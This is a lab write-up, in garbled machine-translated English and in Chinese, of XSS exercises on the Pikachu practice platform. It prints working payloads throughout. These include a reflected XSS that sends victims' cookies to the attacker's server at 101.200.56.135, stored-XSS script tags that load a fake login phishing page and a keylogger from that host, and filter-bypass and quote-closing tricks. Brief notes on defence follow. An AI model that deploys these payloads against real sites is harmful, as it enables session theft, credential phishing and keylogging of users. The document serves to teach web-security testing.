Reflective XSS (get mode):
front end: See page source 20 is provided to a length longer easy input sentence:
<Script> alert (1) </ script>, get form XSS generates corresponding url is a better use of vulnerability.
Case reflective XSS (get) mode of presentation: steal user cookie
In this experiment the attack the server (collect cookie background) is my personal ecs Ali cloud server (also can open another virtual machine simulation attacker). Simulate the presence of XSS vulnerability is my host (by simulate the real situation is the opposite, but because the server is linux, with a win more convenient to change the file, using the host site for the deployment of the existence XSS) ,.
First pikachu background files on the cloud: pay attention to modify the configuration file database connection
Then we get a cookie file finally add a redirect, to return directly to the site of the initial interface, thus completing a steal when the user does not pay attention to:
Then in the presence of XSS vulnerability Hu pages link structure: <script> document.location = 'http:? //101.200.56.135/pkxss/xcookie/cookie.php cookie =' + document.cookie; </ script>, pay attention to the maximum variable length about:
We may see a page like this: Ok, this is the browser firewall (especially in the valley now security awareness is still very high song), you can turn off Google with a low level of protection or browser. But this last link is used:
I assume that the user is tricked into points this link, you will find me to jump directly to the redirected Web site. Ignorant user may be in force:
But my background actually received by the user's cookie information:
Then you can use cookie to do some bad things to achieve the purpose of the attacker.
Reflective XSS (POST)
Landed
<Script> alert ( 'xss') </ script> We see post of XSS vulnerabilities and do not appear in the url
Reflective XSS (POST) exploit demo:
Ideas:
我们需要自己搭一个恶意站点，然后在网站上放一个post表单将存放POST表单的链接发送给受害者，
诱导受害者点击这个POST表单会自动向漏洞服务器提交一个POST请求，
实现受害者帮我们提交POST请求的目的
首先，在恶意站点中修改服务器地址：上面是存在XSS漏洞的地址，下面是提交ｃｏｏｋｉｅ的后台地址。
恶意页面的作用是：当用户访问这个页面时，会自动向漏洞服务器发送POST请求，然后重定向到漏洞服务器的index页面
然后页面可以放到攻击者的服务器上：
这样我们只要骗受害者访问101.200.56.135/post.html就能拿到他的cookie，并且返回重定向的页面，也就是网站的首页面（注意，这里受害者在XSS漏洞那必须是登陆状态才可以拿到cookie）：
点进去之后成功返回，然后查看后台：拿到了cookie数据
存储型XSS：这一类XSS漏洞危害较大，会存储到数据库中，每次刷新都会执行；
<script>alert("xss")</script>
利用存储型XSS漏洞制作钓鱼演示：
把访问制作的ｂａｓｉｃ认证界面语句插入后台<script src="http://101.200.56.135/pkxss/xfish/fish.php"></script>：然后就会出现认证界面
我们在认证界面的代码中添加自己的地址：
这个受害者在没有防护意识的情况下就会输入用户名密码：
然后我们在后台查看 ：
利用存储型XSS漏洞进行键盘记录演示：
将获得的键盘值发送到后台ip：
然后设置允许被跨域访问，跨域问题和同源策略可以百度
之后在存在存储型XSS的网站插入代码：
<script src= "http://101.200.56.135/pkxss/rkeypress/rk.js"></script>
插入后就访问了我们的后台获取键盘值的后台ｊｓ文件
然后可以在后台查看：
dom型XSS：参考链接：https://www.w3school.com.cn/htmldom/index.asp
ｄｏｍ是前端的操作
查看源码：
这里有段JS代码，它通过 getElementById 获取到了标签 Id 为 text的内容赋值给str， 然后又把 str 的内容通过字符串拼接的方式写到了 a 标签的 href 属性中，a标签会写到 Id 为 dom的 div 标签中
我们可以构造闭合的语句：ａ' onclick="alert('xss')">：
dom型XSS：
我们直接看源码：这次是直接在url中过去字符串:
这种危害就会大很多，从ｕｒｌ中获得有点和反射型ｘｓｓ类似：
构造闭合语句：ａ' onclick="alert('xss')">
XSS盲打：是属于ｘｓｓ漏洞的一种场景，和存储型ｘｓｓ类似。也是一种尝试，因为很可能后台会过滤掉。
输入：<script>alert('xss')</script>
然后在admin_login.php中登录后台发现已经存储国xss代码：
XSS过滤：
几种XSS绕过的姿势：
１.直接ｆ１２修改前端的限制，例如长度。
２.大小写混合：<SCRIpt>ALErt(11)<SCRipt>
３.拼凑:<scr<script>ipt>alert(11)</sc<script>ript>
４.注释符：<scr<!--text-->ipt>alert(11)</sc<!--text-->ript>
还有一种编码的方式，但是在使用时要注意是否会被输出点识别和执行，不然绕过了也没有用。
方法有很多，这只是几种。
XSS的htmlspecialchars
这个可以对特殊字符进行编码，即预定义的字符是 & " ' < > 这五个，转化为 &#xxx的形式。虽然使用了htmlspecialchars进行处理,但是htmlspecialchars默认形式不对单引号处理：
所以使用单引号闭合：' onclick='alert(111)'
XSS防范：输入做过滤输出做转义
第一个ｈｒｅｆ输出：
查看源码，这次htmlspecialchars函数使用了ENT_QUOTES类，也加上了对单引号的转义，但是在a标签的href属性里面,可以使用javascript协议来执行js
于是：javascript:alert(1111)
所以在ｈｒｅｆ的输出最安全的防范措施就如作者所说：只允许http,https,其次在进行htmlspecialchars处理
ｊｓ输出：
观察源码
只要闭合语句即可：</script>'<script>alert("111")</script>
这里的防范不适宜用实体编码的方式，就是上面那个函数，因为虽然可以解决XSS的问题,但是实体编码后的内容,在JS里面不会进行翻译,这样会导致前端的功能无法使用。
所以正确的防护应该在JS的输出点应该使用\对特殊字符进行转义。
实验演示有三个：
反射性XSS获取cookie
存储型xss制作钓鱼
存储性xss读取键盘
模拟攻击者：阿里云ecs个人服务器
模拟受害者：个人主机